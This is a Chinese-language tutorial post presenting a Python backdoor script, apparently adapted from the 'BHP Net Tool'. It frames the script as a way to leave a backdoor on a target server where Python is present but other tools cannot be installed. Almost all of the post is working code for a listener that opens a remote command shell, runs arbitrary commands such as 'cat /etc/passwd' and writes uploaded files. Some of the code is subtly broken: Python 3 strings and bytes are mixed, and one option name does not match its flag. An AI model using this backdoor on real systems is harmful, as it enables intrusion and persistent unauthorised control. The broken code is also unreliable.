Python入門:python自制後門程式
阿新 • • 發佈:2019-01-28
應該場景:
1、當目標伺服器上有python環境(一般linux系統都會預安裝)
2、目標伺服器上不允許安裝其它工具(因為要留後門或進一步攻擊內容就需要上傳各種工具)
#python3.5
import sys
import socket
import getopt
import threading
import subprocess
#全域性引數初始化
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print("BHP Net Tool")
print("Usage: bhpnet.py -t target_host -p port")
print("-l --listen - listen on [host]:[port] for"
" incoming connections")
print("-e --execute=file_to_run - execute the given file upon"
" receiving a connection")
print("-c --command - initialize a command shell")
print("-u --upload=destination - upon receiving connection upload a"
" file and write to [destination]")
print("Examples:")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=:\\target.exe" )
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135")
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
print("--------")
try:
opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",
["help","listen","execute","target","port","command","upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e","--execute"):
execute = a
elif o in ("-c","--commandshell"):
command = True
elif o in ("-u","--upload"):
upload_destination = a
elif o in ("-t","--target"):
target = a
elif o in ("-p","--port"):
port = int(a)
else:
assert False,"Unhandled Option"
if not listen and len(target) and port > 0:
buffer = sys.stdin.read()
client_sender(buffer)
if listen:
server_loop()
def client_sender(buffer):
client = socket.socket()
try:
client.connect((target,port))
if len(buffer):
client.send(buffer)
while True:
recv_len = 1
response = ""
while recv_len:
data = client.recv(1024)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
buffer = input("")
buffer += "\n"
client.send(buffer)
except:
print("[*] Exception! Exiting.")
client.close()
def server_loop():
global target
if not len(target):
target = "0.0.0.0"
server = socket.socket()
server.bind((target,port))
server.listen(5)
while True:
client_socket,addr = server.accept()
client_thred = threading.Thread(target=client_handler,args=(client_socket,))
client_thred.start()
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
except:
output = "Falsed to execute command.\r\n"
return output
def client_handler(client_socket):
global upload
global execute
global command
if len(upload_destination):
file_buffer = ""
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" % upload_destination)
if len(execute):
output = run_command(execute)
client_socket.send(output)
if command:
while True:
client_socket.send("BHP:#> ".encode())
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket.recv(1024).decode()
response = run_command(cmd_buffer.encode())
client_socket.send(response)
main()